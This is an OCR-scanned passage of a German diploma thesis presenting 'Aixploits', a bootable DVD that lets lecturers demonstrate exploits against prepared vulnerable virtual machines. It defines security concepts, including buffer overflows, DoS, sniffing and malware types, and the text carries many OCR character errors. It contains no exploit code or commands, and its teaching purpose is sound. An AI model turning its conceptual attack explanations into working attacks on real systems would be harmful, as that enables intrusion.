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Aus § 202c StGB (Vorbereiten des Ausspidhens und Abfangens von
Daten)(1)

13

Erfasst werden insbesondere die so genannten Hacker-Tools, die bereits nach der
Art und Weise ihres Aufbaus darauf angelegt sind, illegalen Zwecken zu dienen
und die aus dem Internet weitgehend anonym geladen werden kénnen. Insbeson-
dere die durch das Internet mogliche weite Verbreitung und leichte Verfiigharkeit
der Hacker-Tools sowie ihre einfache Anwendung stellen eine erhebliche Gefahr
dar, die nur dadurch effektiv bekdmpft werden kann, dass bereits die Verbreitung
solcher an sich gefdhrlichen Mittel unter Strafe gestellt wird.

Daher wird in Absatz 1 Nr. 2 vorgeschlagen, die Vorbereitung einer Straftat nach
§6 202a und 202b StGB durch Herstellen, Verschaffen, Verkaufen, Uberlassen, Ver-
breiten oder sonst Zuginglichmachen von Computerprogrammen, deren Zweck
die Begehung einer solchen Tat ist, unter Strafe zu stellen.”

(Berlin, 20. September 2006)






Zusammenfassung

Das Thema Sicherheit in der Informationstechnik gewinnt fiir Unternehmen und
Privatpersonen zunehmend an Bedeutung. Bis vor einigen Jahren wurde der
Schutzbedarf der Daten und der Systeme vor Angriffen von aufen unterschétzt.
Sclosser und Alarmanlagen schiitzten vor konventionellen Einbruchsversuchen,
verhinderten aber nicht unbefugte Zugriffe {iber das Internet. Zuerst wurde Fir-
men und Unternehmen bewusst, dass die Daten und Systemressourcen potenti-
elle Angriffsziele sind. Der Heimanwender beharrte auf der Aussage, dass keine
schiitzenswerten Daten vorliegen. Erst die massive Verbreitung von Computervi-
ren und die Nutzung von sensiblen Diensten wie Online-Banking oder elektroni-
schen Einkaufsportalen brachten ein Umdenken. Heute gehdren ein Virenscanner
und eine Firewall zur Grundausriistung eines jeden Rechners.

In Vortrédgen und Lehrverstaltungen mit dem Focus IT-Sicherheit bietet es sich
an, die Ausnutzung einer Sicherheitsliicke zu demonstrieren. Die Vorbereitun-
gen fiir diese Demonstration sind jedoch mit einigem Aufwand verbunden. Das
Angriffsziel inklusive der Schwachstelle muss implementiert werden. Weiterhin
gilt es, den Angriff in einzelne Schritte zu unterteilen und vorzubereiten. Um eine
moglichst einfache Demonstration von Sicherheitsliicken zu erméglichen, wurde in
zwei Diplomarbeiten eine Présentationsumgebung fiir Sicherheitsliicken geschaf-
fen.

Das Présentationssystem startet von DVD und bringt Schwachstellen und An-
griffsmechanismen mit. Zur einfachen Veranschaulichung wurde eine grafische
Oberfliache erstellt. In das System wurde die Demonstration von Sicherheitsliicken
eingepflegt. Die Prisentationsumgebung wurde erweiterbar gestaltet, so dass die
Arbeitsweise weiterer Schwachstellen verdeutlicht werden kann.

Das Thema dieser Arbeit ist die Demonstration von Sicherheitsliicken in Internet-
anwendungen. Im Rahmen der Arbeit wurde die Présentationsoberfliche pro-
grammiert.Eine Auswahl an Schwachstellen wurde in die Priasentationsumgebung
aufgenommen. Die Erstellung des Programms sowie die Moglichkeit zur Erweite-
rung der Software werden beschrieben.

Sicherheitsliicken in Betriebssystemen und Anwendungen sowie der Aufbau des
Basissystems sind Gegenstand der Arbeit von Benedikt Kalef3.
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1 Einleitung

1.1 Motivation

Das Thema Sicherheit hat in der Informationstechnik (IT) in den letzten Jahren
an Bedeutung gewonnen. Immer mehr Bereiche des téglichen Lebens nutzen den
Computer und das Internet. Vor einigen Jahren wurde zum Beispiel der Bankver-
kehr von Privatpersonen ausschliellich in schriftlicher Form abgewickelt. Heute
ist der Zugriff auf Bankdaten und das Durchfiihren von Transaktion iiber Online-
Banking weit verbreitet.

Gerade wenn es um sensible Daten geht, ist es unerlésslich, fiir die Sicherheit die-
ser Daten zu sorgen. Der Kunde einer Bank will sich darauf verlassen, dass sein
elektronischer Zugang zum Bankkonto keinerlei Sicherheitsrisiken birgt. Mogli-
che Sicherheitsliicken kénnen in der Anwendung, iiber die ein Kunde zugreift,
verborgen sein. Weitere Liicken konnen durch eine fehlerhafte Konfiguration des
Servers, der die Anwendung fiir den Kunden erreichbar macht, entstehen. Auch
das System, auf dem die Anwendung arbeitet, kann Sicherheitsliicken beinhal-
ten.

Die Komponenten des Online-Bankings werden durch Mitarbeiter erstellt und
betreut, die meistens eine Ausbildung im Bereich der Informationstechnik durch-
laufen haben. Innerhalb dieser Ausbildung ist es daher unerlisslich, das Thema
Sicherheit zu behandeln. Es muss vermittelt werden, welche Aspekte der Begriff
der Sicherheit umfasst und wie Sicherheit in den einzelnen Bereichen der Infor-
mationstechnik umgesetzt werden kann.

Das gesamte Thema Sicherheit wird in der IT-Ausbildung haufig vernachléassigt.
Das Erlernen einer Programmiersprache zéhlt zu den Grundeinheiten der Aus-
bildung. Die Vermeidung von Programmierfehlern, die Sicherheitsliicken entste-
hen lassen, wird dagegen nicht behandelt. Es wird nicht demonstriert, welche
Schwachstellen durch Programmierfehler entstehen koénnen. Nicht nur die Pro-
grammiersprachen miissen unter dem Aspekt der Sicherheit betrachtet werden,
dieser Grundsatz gilt ebenso fiir alle anderen Bereiche der Informationstechnik.
Das kann den Aufbau und Plan eines Netzwerks ebenso betreffen wie die Konfigu-
ration eines Dienstes, zum Beispiel eines Webservers.



Beweggrinde:

* Beschaffung von Informationen

» unbefugte Nutzung fremder Systeme
+ Zerstérungswut

4 Anwendungen und Dienste o

Betriebssystem

Ziele:

*» Daten
Exploit | == Sicherheitsliicke , Ressourcen

L * Funktionalitat

A /

Abbildung 1.1: Ausnutzung einer Sicherheitsliicke

Um das Thema Sicherheit zeitgeméfl zu vermitteln, bietet sich eine Demonstra-
tion gingiger Sicherheitsliicken an. Die Ursache einer Sicherheitsliicke ist eine
Schwachstelle in der Software des Computers. Einige Sicherheitsliicken entstehen
durch Programmierfehler, andere durch fehlerhafte Konfiguration von Software.
Auch das Fehlverhalten des Benutzers kann die Sicherheit des Computers gefiahr-
den. Ein Schadenscode, der eine Sicherheitsliicke ausnutzt, wird als Exploit (to
exploit - ausnutzen) bezeichnet. Das Zusammenspiel von Sicherheitsliicke und
Exploit wird in Abbildung 1.1 verdeutlicht.

Bei der Présentation von Sicherheitsliicken wird die Ausnutzung der Schwach-
stelle durch einen Exploit demonstriert. Es gibt Software zum Entwickeln, Testen
und Ausfiithren von Exploits. Ein Beispiel fiir ein solches Programm ist das “Me-
tasploit Framework” (2). Dieses Framework wird auf dem Computer installiert
und dient als Werkzeug zum Ausnutzen von Sicherheitsliicken auf anderen Com-
putern. Der Zweck des Programms ist die Ausfithrung von Exploits und nicht die
Prasentation der Durchfithrung. Im “Metasploit Framework” ist das Ziel eines
Exploits nicht enthalten. Fiir eine Demonstration muss das Angriffsziel inklusive
der Schwachstelle gesondert vorbereitet werden.

An diesem Punkt soll diese Diplomarbeit Abhilfe schaffen. Vortragenden soll die
Moglichkeit gegeben werden, die Funktion eines Exploits sowie seine Wirkung auf
ausgewdhlte Ziele zu veranschaulichen.

1.2 Zielsetzung der Arbeit

Ziel der Arbeit ist es, eine Prisentationsumgebung zur Demonstration von Si-
cherheitsliicken zu erstellen. Die Présentationsumgebung wird von einem exter-
nen Medium gestartet und erfordert keine Installation von Software auf dem

2 Ein System zur Demonstration von Sicherheitsliicken



1.2 Zielsetzung der Arbeit

Rechner. Es sollen keine Verdnderungen an der Konfiguration und an den Daten
des Rechners vorgenommen werden. Dieser Punkt ist besonders wichtig, damit
die Préasentationsumgebung bedenkenlos auf jedem Rechner eingesetzt werden
kann.

Die Prasentationsumgebung soll Exploits in Form von Quellcodes und als ausfiihr-
bare Programme beinhalten. Das Ziel des Schadenscodes soll ebenfalls auf der
DVD vorhanden sein. Dieses Ziel muss genau auf den Exploit zugeschnitten sein,
damit der Exploit die Bedingungen vorfindet, die zu der Sicherheitsliicke fiithren.
Es muss sichergestellt werden, dass der Exploit im Rahmen der DVD funktioniert
und der Vortragende keinerlei Vorbereitungen mehr fiir die Durchfiihrung des Ex-
ploits treffen muss. Sdmtliche Pakete und Bibliotheken miissen in der korrekten
Version vorliegen.

Die Prasentationsumgebung besteht aus einem Live-Betriebssystem und einer
Préasentationsoberfliche. Die Demonstration einer Schwachstelle soll im Rahmen
der grafischen Oberfliche erfolgen. In der grafischen Oberfliche werden Infor-
mationen zu den Sicherheitsliicken angezeigt und die Ausfithrung der Exploits
gesteuert. Zur einfachen Présentation sollen moglichst viele Schritte der Durch-
fithrung als vorgefertigte Befehle vorliegen, damit der Vortragende méoglichst we-
nige Befehle per Hand eingeben muss. Séamtliche Parameter eines Befehls sollen
schon fertig ausgefiillt und mit Erkldrungen versehen sein. Die Programmober-
fliche muss so gestaltet werden, dass die Présentation mit einem Beamer moglich
ist. Besonderes Augenmerk muss auf Komponenten wie Textgréfe und Fenster-
gestaltung gelegt werden.

Innerhalb der Prasentationsoberfliche soll der Vortragende zusétzlich ausfiihrli-
che Informationen zu jedem Exploit finden. Diese Informationen sind zur Vor-
bereitung der Demonstration gedacht. Sie sollen dem Vortragenden die zeit-
aufwindige Suche nach Informationen ersparen.

Eine weitere Anforderung an die gesamte Présentationsumgebung ist die leich-
te Erweiterbarkeit des Systems. Das Einbinden weiterer Schwachstellen in die
Présentationsumgebung und in die Live-DVD soll mit moglichst geringem Auf-
wand erfolgen. Die erforderlichen Schritte sollen so detailliert beschrieben werden,
dass anhand dieser Anleitung jeder Vortragende die Prasentationsumgebung er-
weitern kann.

Die Prasentationsumgebung ist das Ergebnis zweier Diplomarbeiten. Die Erstel-
lung der Live-DVD ist Gegenstand der Diplomarbeit “Ein System zur Demon-
stration von Sicherheitsliicken - Sicherheitsliicken in Internetanwendungen” (3)
von Benedikt Kalef. Die Prasentationsoberfliche wurde im Zuge dieser Diplom-
arbeit erstellt. Die einzelnen Teile der Présentationsumgebung und ihre jeweili-
ge Bearbeitung sind in Abbildung 1.2 ersichtlich. In beiden Arbeiten wird eine
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Abbildung 1.2: Aufteilung der Erstellung der Prisentationsumgebung

Auswahl an unterschiedlichen Sicherheitsliicken in die Prédsentationsumgebung
eingepflegt.

Die Arbeit richtet sich an Personen mit grundlegenden Kenntnissen im Bereich
der IT-Sicherheit. Die Prisentationsumgebung ist als Werkzeug fiir Vortragende
gedacht. Mit der Préasentationsumgebung kénnen Sicherheitsliicken ohne lange
Vorbereitungszeit und ohne Verdnderungen an der Konfiguration des Computers
vorgefiithrt werden.
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2 Sicherheit in der
Informationstechnik

In diesem Kapitel werden grundlegende Begriffe aus dem Bereich IT-Sicherheit
vorgestellt, die in den Arbeiten von Juliane Mathes und Benedikt Kalef3 benutzt
werden. Zugleich wird der Umfang der Aspekte abgesteckt, die in den beiden Ar-
beiten behandelt werden. Das Kapitel ist in beiden Arbeiten identisch und stellt
die relevanten Techniken und Verfahren eines Angreifers vor. Abschliefend er-
folgt eine Betrachtung der Angriffstechniken, die in den Arbeiten nicht behandelt
werden.

2.1 IT-Sicherheit

Der Begriff der Sicherheit ist ein Schlagwort in der Informationstechnik. Doch
wie ldsst sich Sicherheit in diesem Umfeld definieren?

“Sicherheit ist kein Produkt, sie ist ein Prozess”

schreibt Bruce Schneier, ein amerikanischer Experte fiir Kryptographie und Com-
putersicherheit, in seinem Buch “Secrets & Lies - I'T-Sicherheit in einer vernetz-
ten Welt” (1). Dieses Zitat verdeutlich, dass Sicherheit kein Zustand ist, der
einmal erreicht wird und dann fortwahrend gilt. I'T-Sicherheit betrifft die Verar-
beitung, Speicherung und Kommunikation von Informationen auf Computersy-
stemen.

Das Computersystem sowie Dienste und Anwendungen sind permanent neuen
Formen der Bedrohung ausgesetzt. Gegen diese Bedrohungen muss das Com-
putersystem geschiitzt werden. Die Sicherheit eines Computersystems und aller
Komponenten muss immer wieder iiberpriift und durch fortlaufende Arbeiten an
dem System sichergestellt werden.

Sicherheit lasst sich iiber die drei Begriffe Vertraulichkeit, Intergritéit und Verfiigbar-
keit beschreiben. Freiling definiert in der Vorlesung Verléssliche Verteilte Systeme
I () die drei Begriffe wie folgt:



2 Sicherheit in der Informationstechnik

o Vertraulichkeit im engeren Sinne = Verhinderung von mnichtautorisierter
Offenlequng von Informationen

o [ntegritit = Verhinderung von nicht-autorisierter Erweiterung oder
Zerstorung von Informationen

o Verfiigbarkeit = Verhinderung von nicht-autorisierter Zurickhaltung von
Informationen

Das Bundesamt fiir Sicherheit in der Informationstechnologie (BSI) (6) definiert
die Sicherheitsanforderungen in der Informationstechnik anhand der moglichen
Bedrohungen der Sicherheit. Es werden drei Grundbedrohungen definiert.

e Verlust der Vertraulichkeit

Durch Vertraulichkeit wird sichergestellt, dass der Zugriff auf sensible In-
formationen erst nach erfolgreicher Priifung der Identitidt des Zugreifenden
moglich ist. Beim Verlust der Vertraulichkeit kommt es zu einem unbefugten
Informationsgewinn.

e Verlust der Integritét

Durch Integritat wird sichergestellt, dass Verdnderungen von Informationen
nur durch befugte Benutzer oder Systemprozesse stattfinden. Die unbefugte
Modifikation von Informationen hat den Verlust der Integritdt zur Folge.
Die Integritét ist eng mit der Vertraulichkeit verbunden.

e Verlust der Verfiigharkeit

Ein Computersystem soll eine hohe Verfiigharkeit bieten. Die angebote-
nen Dienste miissen gewissen Verfiigbarkeitskriterien geniigen. Die meisten
Webserver zum Beispiel sollen eine permanete Verfiigharkeit bieten. Die un-
befugte Beeintrichtigung der Funktionalitéit eines Computersystems stellt
die Verfiigharkeit in Frage.

Voraussetzung fiir Sicherheit in der Informationstechnik ist, dass die drei An-
forderungen Vertraulichkeit, Integritdt und Verfiigbarkeit erfiillt werden. Diese
Anforderungen miissen nicht nur von IT-Systemen, sondern auch von Diensten,
Programmen und Prozessen erfiillt werden.

Selbst wenn alle drei Anforderungen vom IT-System erfiillt werden, ist keine
komplette Sicherheit gegeben. Die Sicherheit wird zum Beispiel durch den Be-
nutzer des Systems verletzt, der Passworter aus Bequemlichkeit frei zugénglich
auf einem Zettel am Monitor befestigt. In diesem Fall muss ein Prozess defi-

6 Ein System zur Demonstration von Sicherheitsliicken



2.2 Von der Sicherheit zur Sicherheitsliicke

niert werden, durch den der Benutzer fiir das Thema Sicherheit sensibilisiert
wird.

2.2 Von der Sicherheit zur Sicherheitsliicke

Der Verlust der Sicherheit geht mit dem Auftreten einer Sicherheitsliicke ein-
her. Eine Sicherheitsliicke oder Schwachstelle ist ein sicherheitsrelevanter Fehler
eines IT-Systems. Die Ursachen einer Schwachstelle kénnen in der Konzeption,
den verwendeten Algorithmen, der Implementation, der Konfiguration, dem Be-
trieb sowie der Organisation des IT-Systems liegen. Eine Schwachstelle fiihrt
dazu, dass eine Bedrohung fiir das I'T-System besteht. Durch die Schwachstel-
le kann das System geschédigt werden. Die Saulen der I'T-Sicherheit - Vertrau-
lichkeit, Integritdt und Verfiigbarkeit - sind fiir dieses System nicht mehr gege-
ben.

In den Arbeiten werden zum einen Sicherheitsliicken in Internetanwendungen
betrachtet. Unter Internetanwendungen werden Dienste und Prozesse eines IT-
Systems verstanden, die im Internet erreichbar sind. Eine Schwachstelle in ei-
ner Internetanwendung kann zum Beispiel ein fehlerhaft konfigurierter Webserver
sein, wodurch vertrauliche Informationen ausgelesen werden kénnen.

Ein weiteres Beispiel einer Sicherheitsliicke ist die Moglichkeit des unbefugten
Auslesens von Datensétzen eines Datenbankservers. Die Abfrage von Datensétzen
geschieht durch Kommandos, die auf dem Datenbankserver ausgefiihrt werden.
Bei fehlender Uberpriifung der Syntax der Kommandos kénnen Befehle verdndert
werden. Mit solchen Befehlen ist es moglich, Informationen auszulesen, die eigent-
lich nicht ohne Authentifizierung zugénglich sein sollten.

Die andere betrachtete Klasse von Sicherheitsliicken in den Arbeiten sind solche,
die in Betriebssystemen und Anwendungen vorkommen. Bei Betriebssystemen ist
ein Angreifer daran interessiert, Rechte eingerdumt zu bekommen, die er eigentlich
nicht besitzen diirfte. Fehler in Anwendungen méchte er milbrauchen, um eige-
nen eingeschleusten Code auszufiihren. Als Ziel wird dadurch im Allgemeinen ver-
folgt, einen Zugang zum angegriffenen System zu schaffen. Die fehlerhafte Anwen-
dung wird beispielsweise nicht direkt vom Angreifer, sondern vom Anwender aus-
gefiihrt. Fiir den Anwender sieht es so aus, als stiirze das Programm ab. Der An-
greifer hat aber sein Ziel erreicht, eigenen Code eingefiihrt und sich einen Zugang
zum Rechner mit Rechten des Anwenders verschafft.
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2 Sicherheit in der Informationstechnik

2.3 Behandelte Angriffstechniken

Ein Angreifer hat das Ziel, ein System oder eine Anwendung zu komprimittieren.
Bei der Komprimittierung wird eine der drei Sdulen der Sicherheit verletzt. Dabei
werden folgende Techniken und Methoden benutzt.

2.3.1 Exploit

Ein Exploit ist ein Programm, das eine entdeckte Sicherheitsliicke ausnutzt und
damit weitere Privilegien erreicht.

Einige Exploits werden nur dafiir geschrieben, um das Vorhandensein von Schwach-
stellen zu demonstrieren. Solch ein Exploit wird oft mit dem Titel “Proof of
Concept” versehen. Oftmals fithrt er auch keinen schéadlichen Code aus, sondern
zeigt nur, dass prinzipiell jedes Kommando auf dem System ausgefiithrt werden
kénnte und das System verwundbar ist. Unter Windows wird beispielsweise der
Taschenrechner angezeigt, auf Linux-Systemen oft eine Datei im Verzeichnis /tmp
erzeugt.

Wird die Sicherheitsliicke gleichzeitig mit dem dazugehorigen Exploit veroffent-
licht, so spricht man von einem zero-day Exploit.

2.3.1.1 Buffer-Overflow

Viele Exploits benutzen das Vorhandensein eines Buffer-Overflows. “Ein Buffer-
Overflow ist das Ergebnis eines Kopiervorgangs, in dem mehr Daten in einen
Puffer kopiert werden, als dieser verwalten kann.”

In seinem Paper “Smashing the Stack for Fun and Profit” (7) fand der Autor mit
dem Pseudonym “Aleph One” diese sehr griffige Definition und stellt vor, wie ein
Buffer-Overflow entsteht und ausgenutzt werden kann. Buffer-Overflows stellen
heutzutage den Hauptgrund fiir Sicherheitsliicken dar und entstehen meistens
durch Programmierfehler.

Buffer-Overflows konnen wie folgend skizziert ausgenutzt werden. Jedes Pro-
gramm arbeitet mit Ubergabeparametern oder lokalen Parametern. Wenn der
Programmierer nicht iiberpriift, ob die Linge dieser Ubergabeparameter korrekt
ist, kann ein Fehler dahingehend entstehen, dass der Eingabewert lédnger ist, als
das Programm es erwartet. Als Konsequenz werden die im Speicher nachfolgenden
Werte iiberschrieben.
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2.3 Behandelte Angriffstechniken

Um mittels dieses Fehlers einzubrechen, muss ein Programmcode eingeschleust
werden, der anschlieBend ausgefithrt wird. Daher sind Puffer-Uberliufe bei lokalen
Variablen besonders riskant. Da solche Objekte immer nur in einer Unterprozedur
giiltig sind, werden diese Werte zusammen mit Riicksprungwerten auf den soge-
nannten “Stack® gespeichert. Der Stack wird auf bestimmte Weise organisiert.
Es konnen immer nur Werte “auf” den Speicher gelegt werden und auch nur von
“oben” wieder gelesen werden. Auf diese Weise werden verschachtelte Unterpro-
gramme automatisch verwaltet. Verschachtelt aufgerufene Unterprogramme legen
die jeweils aktuelle Adresse als Riicksprungadresse so iibereinander auf den Stack.
Beendet sich nun ein Unterprogramm, liegt die Riicksprungadresse der aufrufen-
den Prozedur auf dem Stack. Speicherplatz fiir lokale Variablen kann auch auf
einfache Weise freigegeben werden.

Die Gefahr besteht nun darin, dass durch einen Pufferiiberlauf in einer lokalen Va-
riable solch eine Riicksprungadresse iiberschrieben wird. Der Angreifer versucht,
diese Riicksprungadresse so zu manipulieren, dass an der verwiesenen Stelle ein
ausfithrbarer Maschinencode steht, der dann anstelle des eigentlich auszufiihren-
den Programms verarbeitet wird. Sein Ziel ist es also, den Code einzuschleusen
und gleichzeitig die Riicksprungadresse passend zu wéhlen.

2.3.2 Denial-of-Service-Attacke

Eine Denial-of-Service-Attacke, kurz DoS genannt, bezeichnet den Versuch, einen
oder mehrere Dienste eines Systems unbenutzbar zu machen.

Klassische Denial-of-Service-Attacken beziehen sich auf die Verfiigbarkeit eines
Servers. Beispielsweise wird versucht, den Server mit Anfragen zu iiberfordern und
so CPU-Zeit zu verschwenden oder die gesamte Bandbreite der Netzanbindung
auszunutzen, um so die Antwortzeit des Servers zu erhhen. Sogenannte Botnetze
werden dazu genutzt, um einen Distributed Denial-of-Service auszufithren. Dabei
werden viele infizierte Rechner gleichzeitig angewiesen, Anfragen an einen Server
zu senden, wodurch dieser iiberlastet wird. Unter dem Begriff “Denial-of-Service”
verstehen viele Menschen Angriffe dieser Art. Diese Angriffe werden in dieser
Arbeit jedoch nicht behandelt.

Als Denial-of-Service-Attacke werden auch Angriffe verstanden, die als Konse-
quenz ein gerade benutztes Programm unbenutzbar machen oder es gezielt zum
Absturz bringen.
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2 Sicherheit in der Informationstechnik

Angriffe
Zombies
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DDoS-Attacke
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Abbildung 2.1: Schema eines Botnetzes

Bot-Netz

2.3.3 Mitschneiden von Netzwerkverkehr

Spezielle Programme, so genannte Netzwerksniffer, schniiffeln (to sniff) im Netz-
werkverkehr. Dabei wird der Datenverkehr mitgelesen und aufbereitet dargestellt.
Ein Sniffer kann in zwei verschiedenen Modi arbeiten. Im non-promiscuous ge-
nannten Modus beschrankt sich das Mitlesen auf den Datenverkehr des eigenen
Rechners. Im promiscuous Modus protokolliert der Sniffer den gesamten Daten-
verkehr an der Netzwerkschnittstelle. Es werden nicht nur die fiir den eigenen
Rechner bestimmten Netzwerkpakete mitgelesen, sondern alle Pakete, die an der
Netzwerkschnittstelle ankommen. Es ist von der Netzwerkstruktur abhéingig, wie
viele Daten der Netzwerksniffer in diesem Modus sieht. Nutzen die Systeme ein
gemeinsames Ubertragungsmedium, so kann sémtlicher Traffic von den anderen
Systemen mitgeschnitten werden. Wird ein Switch verwendet, so splittet dieser
den Netzwerkverkehr der einzelnen Clients auf. In einem geswitchten Netzwerk
kann die Kommunikation nicht ohne weiteres von anderen Rechnern aus abgehort
werden.

Durch die mitgeschnittenen Informationen erlangt der Angreifer Informationen
iiber die im Netzwerk aktiven Systeme. Er kann ermitteln, welche Dienste von wel-
chen Systemen angeboten werden. Von Interesse sind auch im Klartext iibermit-
telte Anmeldeinformationen wie Benutzernamen oder Passworter.
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2.4 Weitere Angriffstechniken

2.4 Weitere Angriffstechniken

2.4.1 Social Engineering

Mit dem Mittel des “Social Engineering” versucht ein Angreifer, die Gutglaubig-
keit eines Mitmenschen auszunutzen um Informationen zu erhalten. Der Begriff
wurde maBgeblich von Mitnick und Simon geprégt (8). Solche Aspekte sind auch
bei vielen Exploits inbegriffen, wenn der Angreifer beispielsweise Schadenscode
als Dokument tarnt und dem Nutzer des Zielrechners per E-Mail schickt. Auch
hofft der Angreifer, dass der Nutzer die Tatsache, dass ein Programm abstiirzt,
nicht hinterfragt, um so unerkannt zu bleiben. Social Engineering ist also nicht
direkt technischer Natur.

Aspekte aus dem Bereich Social Engineering werden in dieser Arbeit hoéchstens
angedeutet, wenn es darum geht, wie Schadcode auf ein Computersystem ein-
geschleust wird. Sie stehen aber nicht im Mittelpunkt der Betrachtung. So wird
etwa auf Begriffe wie “Phishing” oder “Spam”, die oft als Instrumente fiir Social
Engineering genutzt werden und Menschen etwa Bankdaten entlocken sollen, in
den Arbeiten nicht eingegangen.

2.4.2 Viren, Wurmer

Unter dem Begriff “Viren und Wiirmer” werden oft unterschiedliche Schadlinge
zusammengefasst. Die einzelnen Begriffe lassen sich nicht klar voneinander tren-
nen, die Grenzen zwischen den folgenden Begriffen sind oft fliessend.

e Virus:

Ein Virus ist ein Programm, das sich in ein Computersystem einschleust
und sich dadurch selbst reproduziert. Nach dem Einschleusen ist sowohl der
Quell- als auch der Zielrechner infiziert. Beziiglich der Verbreitungsart sind
die bekanntesten Viren diejenigen, die in einer ausfiihrbaren Datei oder in
einem Dokument in Form eines Makros versteckt sind. Beim Programmstart
oder Start des Makros wird der Schadenscode aufgerufen. Durch Weiterga-
be infizierter Dateien oder Dokumente repliziert sich der Virus auf andere
Rechner.

o Wurm:

Ein Wurm unterscheidet sich von einem Virus durch eine selbststdndig Ver-
breitung. Ebenso wie ein Virus kann ein Wurm Schadenscode beinhalten.
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2 Sicherheit in der Informationstechnik

Oft ist schon die Tatsache der massiven Verbreitung des Wurms ein Angrift
auf die Verfiigharkeit einer Ressource.

e Trojanisches Pferd:

Trojanische Pferde enthalten schidliche Funktionen, aber auch fiir den auf-
rufenden Anwender niitzliche Funktionen. So wird die schédliche Funkti-
on versteckt. Die schiadliche Funktion des trojanischen Pferdes kann beim
Aufrufen unbemerkten Zugang zum Rechner ermoglichen oder das System
anderweitig komprimittieren.

In diesem Kapitel wurden Begriffe aus dem Bereich der IT-Sicherheit definiert.
Die Sicherheit im Bereich der Informationstechnik kann durch verschiedene Me-
thoden und Techniken verletzt werden. Die géngigen Angriffsszenarien wurden
vorgestellt. Es erfolgte eine erste Klassifizierung der Sicherheitsliicken in zwei
Themengebiete. Das Ziel beider Arbeiten ist es, géngige Sicherheitsliicken aus
beiden Themengebieten zu présentieren. Zur Demonstration der Schwachstel-
len wird im Zuge beider Arbeiten eine Demonstrationsumgebung geschaffen. Im
folgenden Kapitel werden die Komponenten der Priasentationsumgebung vorge-
stellt.
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3 Aixploits - eine Umgebung zur
Prasentation von
Sicherheitsliicken

Das Kapitel stellt die einzelnen Komponenten der Prasentationsumgebung vor.
Die Umgebung mit allen Programmen und Informationen wird im weiteren als
Aixploits bezeichnet. Dieser Name ist aus der Kombination des franzésichen Na-
mens der Stadt Aachen (Aix-la-Chapelle) und der Bezeichnung Exploits entstan-
den.

3.1 Konzept

Die Présentationsumgebung ist zur Demonstration von Sicherheitsliicken gedacht.
Sie wird von einer DVD oder einer externen Festplatte geladen und benotigt zum
Betrieb keinen Zugriff auf andere lokale Laufwerke. Aixploits enthélt neben einem
kompletten Betriebssystem alle zur Demonstration benétigten Programme und
Daten. Es werden keine Eingriffe in die Hardware- und Softwarekonfiguration des
Rechners vorgenommen.

Start von Start von

externer
Festplatte

= || &

BIOS

[ Hardware J

Abbildung 3.1: Startvorgang der Prasentationsumgebung

Zur Arbeit mit der Présentationsumgebung wird nicht das Betriebssystem des
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3 Aixploits - eine Umgebung zur Préasentation von Sicherheitsliicken

Rechners genutzt, sondern ein Betriebssystem von einem externen Medium ge-
startet. Abbildung 3.3 verdeutlicht die unterschiedlichen Startmoglichkeiten der
Prasentationsumgebung.

Aixploits ist einfach zu bedienen und erméglicht die Demonstration von Schwach-
stellen ohne lange Vorbereitungszeit. Das Betriebssystem ist speziell auf den Ein-
satz als Prisentationsgrundlage zugeschnitten. Die behandelten Sicherheitsliicken
sind als Schadenscode enthalten. Zu jeder Sicherheitsliicke werden alle benotigten
Informationen mitgeliefert. Diese Informationen beinhalten Art und Wirkungs-
weise des Exploits und beschreiben die Voraussetzungen fiir das Funktionieren
des Schadenscodes. Weiterhin wird erklért, wie sich diese Schwachstelle vermei-
den l&sst.

Die Présentation der Sicherheitsliicken geschieht in einer eigenen Préasentations-
oberfliche. In dieser Oberfliche sind alle Daten zu den Sicherheitsliicken auf-
gefithrt. Uber verschiedene Meniipunkte konnen Informationen angezeigt oder
die Ausfithrung des Exploits schrittweise durchgefiihrt werden. Zu jedem Exploit
ist das Angriffsziel des Schadenscodes enthalten. Dieses Ziel kann ein Betriebssy-
stem oder ein Dienst mit einer Schwachstelle sein.

virtuelle Maschine a virtuelle Maschine b
mit Betriebssystem A | | mit Betriebssystem B

Betriebssystem der Live-DVD

Abbildung 3.2: Arbeitsweise einer virtuellen Maschine

Die verwundbaren Betriebssysteme liegen fertig konfiguriert als Bestandteil einer
virtuellen Maschine vor. Eine virtuelle Maschine ist von der physische Hardware
unabhéngig und arbeitet als Programm auf einem Betriebssystem. Abbildung 3.2
verdeutlicht die Arbeitsweise einer virtuellen Maschine innerhalb der Live-DVD.
Durch die Virtualisierung der verwundbaren Betriebssysteme kann dem Exploit
genau die Version des Betriebssystems gestellt werden, die er benotigt.

Die verwundbaren Dienste werden vom Betriebssystem der Live-DVD gestellt
und benétigen keine virtuellen Maschinen.
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3.2 Zielgruppe

Das Betriebssystem von Aixploits wurde auf einen definierten Systemstand fest-
gelegt. Eine weitere Aktualisierung durch Einspielen von Patches oder Updates
des Systems ist nicht beabsichtig. Nur so kann sichergestellt werden, dass die
Exploits auf diesem System korrekt funktionieren. Schon die Erneuerung einer
Bibliothek des Systems kann zur Folge haben, dass einzelne Schwachstellen nicht
mehr gegeben sind.

3.2 Zielgruppe

Die Préasentationsumgebung ist als Werkzeug fiir Vortragende gedacht. Es wird
vorausgesetzt, dass der Vortragende mit dem Thema IT-Sicherheit vertraut ist.
Mit Aixploits lassen sich zuverldssig funktionierende Exploits vorfiithren. Die
Préasentationsumgebung kann im Rahmen eines Vortrags eingesetzt werden, um
die Bedeutung und Funktionsweise von Sicherheitsliicken zu demonstrieren. Die
Demonstration einer Sicherheitsliicke hinterlédsst einen bleibenden Eindruck bei
den Zuhorern. Dies vermag die blofle Erklarung der Funktionsweise einer Sicher-
heitsliicke nicht. Der Vortrag wird durch eine praktische Demonstration aufge-
lockert und das Interesse der Zuhorer wird geweckt.

Der Vortragende kann Aixploits als Prasentationswerkzeug nutzen und eigene
Inhalte wie zum Beispiel Folien innerhalb der Priasentationsumgebung verwenden.
Die eigenen Inhalte kénnen per USB-Stick in Aixploits verfiigbar gemacht werden.
Der Vortragende kann aus der Présentationsumgebung auch nur Informationen
und Quellcode zu einer Sicherheitsliicke iibernehmen und diese Inhalte in einem
eigenen Rahmen présentieren.

Aixploits soll die Vorbereitungszeit minimieren, die zur Demonstration einer Si-
cherheitsliicke aufgewendet werden muss. Die Informationen zu einer Schwachstel-
le und deren Funktionsweise miissen vom Vortragenden nicht recherchiert werden.
Diese Daten sind auf der DVD enthalten. Der Schadenscode ist ebenfalls auf der
DVD vorhanden und liegt, falls erforderlich, in ausfithrbarer Form vor. Die fiir
das Funktionieren des Exploits nétigen Vorarbeiten sind in der Présentationsum-
gebung schon durchgefiihrt worden.

Die Prasentationsumgebung wurde nicht als Selbstlerneinheit konzipiert. Fiir
